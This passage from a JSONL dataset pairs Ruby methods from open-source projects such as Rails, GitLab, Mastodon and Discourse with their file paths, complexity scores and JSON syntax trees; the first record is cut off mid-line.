children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_context\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invocation_result_json\"]},{\"type\":\"lvar\",\"children\":[\"tool_call_id\"]},{\"type\":\"str\",\"children\":[\"tool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]}]}]}]}","id":"ce397e63-3783-4eee-ac1a-9f221bb7bc1c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":270,"raw_source":"def non_sensitive_with_media?\n    !sensitive? && with_media?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"non_sensitive_with_media?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sensitive?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"with_media?\"]}]}]}","id":"44e9a8ef-1dfd-43db-ac79-31a1bebbfa28"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cookie_store_test.rb","start_line":190,"raw_source":"def test_deserializes_unloaded_classes_on_get_value\n    with_test_route_set do\n      with_autoload_path \"session_autoload_test\" do\n        cookies[SessionKey] = EncryptedSerializedCookie\n        get \"/get_session_value\"\n        assert_response :success\n        assert_equal 'foo: #<SessionAutoloadTest::Foo bar:\"baz\">', response.body, \"should auto-load unloaded class\"\n      end\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deserializes_unloaded_classes_on_get_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_autoload_path\",{\"type\":\"str\",\"children\":[\"session_autoload_test\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"SessionKey\"]},{\"type\":\"const\",\"children\":[null,\"EncryptedSerializedCookie\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get_session_value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo: #<SessionAutoloadTest::Foo bar:\\\"baz\\\">\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"should auto-load unloaded class\"]}]}]}]}]}]}","id":"f9c66225-851d-42ca-ade8-fba2eb929485"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/update_query_from_params_service.rb","start_line":77,"raw_source":"def apply_group_by(params)\n    query.group_by = params[:group_by] if params.key?(:group_by)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_group_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"group_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"group_by=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by\"]}]}]},null]}]}","id":"74581a38-6336-46f5-960c-a05e7601dbb3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/readiness_check.rb","start_line":96,"raw_source":"def validate_readiness_via_ui!\n        debug(\"Checking for required elements via web browser\")\n        Capybara.current_session.using_wait_time(wait) { Runtime::Browser.visit(:gitlab, Page::Main::Login) }\n        debug(\"Required elements are present!\")\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_readiness_via_ui!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug\",{\"type\":\"str\",\"children\":[\"Checking for required elements via web browser\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"current_session\"]},\"using_wait_time\",{\"type\":\"send\",\"children\":[null,\"wait\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Browser\"]},\"visit\",{\"type\":\"sym\",\"children\":[\"gitlab\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Login\"]}]}]},{\"type\":\"send\",\"children\":[null,\"debug\",{\"type\":\"str\",\"children\":[\"Required elements are present!\"]}]}]}]}","id":"deccffa7-2412-4bfd-a7bb-d3aa410a5d45"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/page_view_rollup.rb","start_line":24,"raw_source":"def <<(view)\n      @aggregator[view.article_id][view.user_id] << view\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@aggregator\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"article_id\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"user_id\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"view\"]}]}]}","id":"b4ae0eb9-61f3-405a-b6c3-8f68bdd5af25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/vulnerability_finding_helpers.rb","start_line":32,"raw_source":"def signature_uuids\n    signatures.map do |signature|\n      hex_sha = signature.signature_hex\n      ::Security::VulnerabilityUUID.generate(\n        report_type: report_type,\n        location_fingerprint: hex_sha,\n        primary_identifier_fingerprint: primary_identifier&.fingerprint,\n        project_id: project_id\n      )\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"signature_uuids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signatures\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]},\"signature_hex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Security\"]},\"VulnerabilityUUID\"]},\"generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_type\"]},{\"type\":\"send\",\"children\":[null,\"report_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location_fingerprint\"]},{\"type\":\"lvar\",\"children\":[\"hex_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_identifier_fingerprint\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_identifier\"]},\"fingerprint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]}]}]}]}]}","id":"94e07284-0a1f-48fe-8e6e-0e15e1ddba41"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/rag_document_fragments_controller.rb","start_line":8,"raw_source":"def indexing_status_check\n        if params[:target_type] == \"AiPersona\"\n          @target = AiPersona.find(params[:target_id])\n        elsif params[:target_type] == \"AiTool\"\n          @target = AiTool.find(params[:target_id])\n        else\n          raise Discourse::InvalidParameters.new(\"Invalid target type\")\n        end\n\n        render json: RagDocumentFragment.indexing_status(@target, @target.uploads)\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"indexing_status_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"AiPersona\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"AiTool\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"str\",\"children\":[\"Invalid target type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RagDocumentFragment\"]},\"indexing_status\",{\"type\":\"ivar\",\"children\":[\"@target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target\"]},\"uploads\"]}]}]}]}]}]}]}","id":"291d08ce-e71f-44ec-b783-f9e1a377890c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":319,"raw_source":"def test_github_repo_option\n    options = setup_options_from_input(\"--github-repo\", \"presidentbeef/brakeman\")\n    assert_equal \"presidentbeef/brakeman\", options[:github_repo]\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_github_repo_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--github-repo\"]},{\"type\":\"str\",\"children\":[\"presidentbeef/brakeman\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"presidentbeef/brakeman\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"github_repo\"]}]}]}]}]}","id":"b6c69b9a-2be5-448c-b8ff-df7209e85290"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab.rb","start_line":19,"raw_source":"def self.current_milestone\n    v = version_info\n    \"#{v.major}.#{v.minor}\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"version_info\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"major\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"minor\"]}]}]}]}]}","id":"491709c8-2101-41bc-9b1b-7ea9817fd24e"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/stores_controller.rb","start_line":36,"raw_source":"def edit\n        if params[:section] == 'emails'\n          add_breadcrumb Spree.t(:emails), spree.edit_admin_store_path(section: params[:section])\n        elsif params[:section] == 'policies'\n          add_breadcrumb Spree.t(:policies), spree.edit_admin_store_path(section: params[:section])\n        elsif params[:section] == 'checkout'\n          add_breadcrumb Spree.t(:checkout), spree.edit_admin_store_path(section: params[:section])\n        else\n          add_breadcrumb Spree.t(:store_details), spree.edit_admin_store_path(section: params[:section])\n        end\n      end","complexity_score":51.6,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"emails\"]}]},{\"type\":\"send\",\"children\":[null,\"add_breadcrumb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"emails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_store_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"policies\"]}]},{\"type\":\"send\",\"children\":[null,\"add_breadcrumb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"policies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_store_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"checkout\"]}]},{\"type\":\"send\",\"children\":[null,\"add_breadcrumb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"checkout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_store_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_breadcrumb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"store_details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_store_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]}]}]}]}]}]}]}]}]}","id":"351bb167-1f78-491b-802d-fe4d55ce19af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/position.rb","start_line":108,"raw_source":"def diff_refs\n        @diff_refs ||= DiffRefs.new(base_sha: base_sha, start_sha: start_sha, head_sha: head_sha)\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiffRefs\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_sha\"]},{\"type\":\"send\",\"children\":[null,\"base_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_sha\"]},{\"type\":\"send\",\"children\":[null,\"start_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_sha\"]},{\"type\":\"send\",\"children\":[null,\"head_sha\"]}]}]}]}]}]}","id":"8789fe2e-3d6e-42cc-8b30-90b26bd91cc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/update_container_registry_info_service.rb","start_line":4,"raw_source":"def execute\n    info = fetch_registry_info\n\n    return unless info\n\n    Gitlab::CurrentSettings.update!(\n      container_registry_vendor: info[:vendor] || '',\n      container_registry_version: info[:version] || '',\n      container_registry_features: info[:features] || [],\n      container_registry_db_enabled: info[:db_enabled] || false\n    )\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"fetch_registry_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_registry_vendor\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vendor\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_registry_version\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_registry_features\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"features\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_registry_db_enabled\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db_enabled\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"9a1d87e6-e7c0-4b33-a5b5-23a40d63ca51"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_badges.rb","start_line":32,"raw_source":"def delete_badge\n        page.find(\".badge-form__delete-badge-btn\").click\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_badge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".badge-form__delete-badge-btn\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"e54dab76-805b-43e4-a196-a331ec30c7aa"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/formatter_hash.rb","start_line":28,"raw_source":"def format(tag, time, record)\n        line = record.to_s\n        line << @newline if @add_newline\n        line\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@add_newline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@newline\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}","id":"a98c3b77-ae24-4a0b-a54d-6f1d23dc0693"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/json_schema_validator.rb","start_line":63,"raw_source":"def size_error_message\n    human_size = ActiveSupport::NumberHelper.number_to_human_size(size_limit)\n    format(_(\"is too large. Maximum size allowed is %{size}\"), size: human_size)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"size_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"human_size\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"size_limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"is too large. Maximum size allowed is %{size}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"human_size\"]}]}]}]}]}]}","id":"9857d4a2-f811-4351-b3c5-651a00296410"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240918124434_add_package_reference_id_as_foreign_key_in_packages_conan_package_revisions.rb","start_line":13,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_conan_package_revisions, column: :package_reference_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_package_revisions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_reference_id\"]}]}]}]}]}]}","id":"44fdd39c-f5ff-4bcc-bc1a-22b38f2bc574"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/adapter_specific_registry.rb","start_line":133,"raw_source":"def matches_options?(**kwargs)\n          options.all? do |key, value|\n            kwargs[key] == value\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_options?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"85d63678-fec0-4d7c-996b-81f4a78721b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/store.rb","start_line":319,"raw_source":"def as_regular_hash(obj)\n            obj.respond_to?(:to_hash) ? obj.to_hash : {}\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"as_regular_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"to_hash\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"a0422a57-4777-4200-8151-f3582ceeb435"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meeting_participants/create_contract.rb","start_line":42,"raw_source":"def user_allowed_to_edit\n      return if model.meeting.nil?\n\n      unless user.allowed_in_project?(:edit_meetings, model.meeting.project)\n        errors.add(:base, :error_unauthorized)\n      end\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"meeting\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"edit_meetings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"meeting\"]},\"project\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]}]}]}]}","id":"85609715-dab1-4f5e-b64e-841e84c695d4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/search.rb","start_line":100,"raw_source":"def search_query\n          parameters[:search_query]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"search_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_query\"]}]}]}","id":"94e0b1e7-b8a9-45c3-a5d6-a3f768ba6286"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/request.rb","start_line":243,"raw_source":"def require_limit_not_exceeded!(limit)\n      raise Mastodon::LengthValidationError, \"Content-Length #{content_length} exceeds limit of #{limit}\" if content_length.present? && content_length > limit\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"require_limit_not_exceeded!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_length\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"LengthValidationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_length\"]}]},{\"type\":\"str\",\"children\":[\" exceeds limit of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]},null]}]}","id":"dd7432ba-f295-4b0d-ba31-edce243dcabd"}
